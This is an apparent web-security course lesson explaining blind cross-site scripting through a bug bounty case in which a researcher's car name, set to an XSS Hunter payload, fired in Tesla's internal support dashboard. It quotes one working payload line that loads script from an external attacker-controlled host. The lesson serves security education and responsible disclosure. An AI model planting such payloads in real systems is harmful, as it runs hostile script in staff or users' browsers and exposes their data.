What is blind XSS?

In this lesson, we’re going to walk through this case study: Cracking my windshield and earning $10,000 on the Tesla Bug Bounty Program

As if finding Cross-Site Scripting vulnerabilities wasn’t already hard enough, in some cases, it gets even harder: introducing, blind XSS.

Most of the examples we’ve talked about so far have returned results. When we find a vulnerability, we get some kind of response back letting us know that it worked.

But with Blind XSS, instead of seeing results, in a lot of cases, you can’t see whether your attack was successful or not. That’s not always the case as we’ll see because there can be some ways around it depending on the situation, but the point of it is that it’s not as easy as refreshing the page to see whether it worked or not.

Let’s take a look at an example with a case study about a Bug Bounty program that earned a guy named Sam Curry $10,000 for finding a Blind XSS vulnerability after cracking his Tesla’s windshield.

When Sam first started looking around for potential vulnerabilities, he wasn’t really finding much. At one point, he even renamed his car to this payload:

"><script src=//zlz.xss.ht></script>Code language: HTML, XML (xml)

Which is a payload generated by XSS Hunter — a tool that can help with Blind XSS that we’ll take a look at later.

Sam couldn’t find anything interesting, and completely forgot he’d changed the name of his car. A few months later, he went on a road trip and a huge rock came from nowhere and cracked his windshield.

So, he contacted Tesla support through the Tesla app and setup an appointment to have it fixed.

The day after, he received a text message about the issue. He checked his XSS Hunter and saw something interesting.

One of Tesla’s agents responding to his request had fired his XSS Hunter payload from within the context of one of their domains.

They redacted the domain, so we don’t know what it was, but it was a subdomain of teslamotors.com:

https://redacted.teslamotors.comCode language: JavaScript (javascript)

The page that was used and vulnerable contained vital statistics about his vehicle, and he quickly realized that it was from a dashboard that Tesla employees would use to manage Tesla vehicles for support, and that, while Sam did not attempt this, he thought it was possible to guess other user’s car IDs and pull up their car’s profiles to not only access the same statistics about their cars, but also potentially modify configurations.

Sam warned Tesla about the issue. They pushed a hot fix within 12 hours, and paid him $10,000 within two weeks.

Summary

So let’s recap what happened:

1. Sam changed his car’s name to be an XSS payload
2. The payload was triggered when a Tesla employee accessed his car’s information via their internal support tools in order to assist the customer
3. That payload communciated back with the XSS Hunter tool, triggering an alert for Sam to look into
4. XSS Hunter took a screenshot of the page and forwarded all the information it gathered when the payload was triggered

That is a great example of a Blind XSS attack! They’re not considered a different type of XSS attack because they typically rely on a stored XSS vulnerability. What makes them different is that the attacker has no idea whether the XSS payload was successfully stored, or if (and when) it will ever be executed. The attacker just has to wait and see if the payload gets pulled out of storage and rendered on a web page loaded by a user.

This makes blind XSS a ‘flavor’ of persistent XSS, and it needs some kind of technology to listen for if/when the payload ever gets triggered.

Various Blind XSS Vulnerabilities

If you’d like more case studies on Blind XSS, and ironically from the same author, check this out:

• https://samcurry.net/hacking-apple/#vuln12

Then, go ahead and complete this lesson and let’s move on to the next where we will take a look at XSS Hunter, the tool that was mentioned and that made the Tesla hack possible.